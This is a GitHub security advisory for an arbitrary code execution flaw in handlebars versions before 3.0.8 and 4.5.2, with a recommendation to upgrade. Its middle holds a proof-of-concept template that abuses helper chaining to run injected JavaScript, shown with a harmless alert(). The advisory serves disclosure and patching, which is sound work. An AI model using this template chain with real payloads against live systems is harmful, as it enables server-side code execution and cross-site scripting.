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Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTJjZjUtNHc3Ni1yOXF2

Arbitrary Code Execution in handlebars

Versions of handlebars prior to 3.0.8 or 4.5.2 are vulnerable to Arbitrary Code Execution. The package's lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript in the system. It can be used to run arbitrary code in a server processing Handlebars templates or on a victim's browser (effectively serving as Cross-Site Scripting).

The following template can be used to demonstrate the vulnerability:

	{{#with split as |a|}}
		{{pop (push "alert('Vulnerable Handlebars JS');")}}
		{{#with (concat (lookup join (slice 0 1)))}}
			{{#each (slice 2 3)}}
				{{#with (apply 0 a)}}
					{{.}}
				{{/with}}
			{{/each}}
		{{/with}}
	{{/with}}
{{/with}}```


## Recommendation

Upgrade to version 3.0.8, 4.5.2 or later.

Permalink: https://github.com/advisories/GHSA-2cf5-4w76-r9qv
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Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: about 3 years ago
Updated: 9 months ago

Identifiers: GHSA-2cf5-4w76-r9qv
References:

• https://www.npmjs.com/advisories/1316
• https://github.com/advisories/GHSA-2cf5-4w76-r9qv

Affected Packages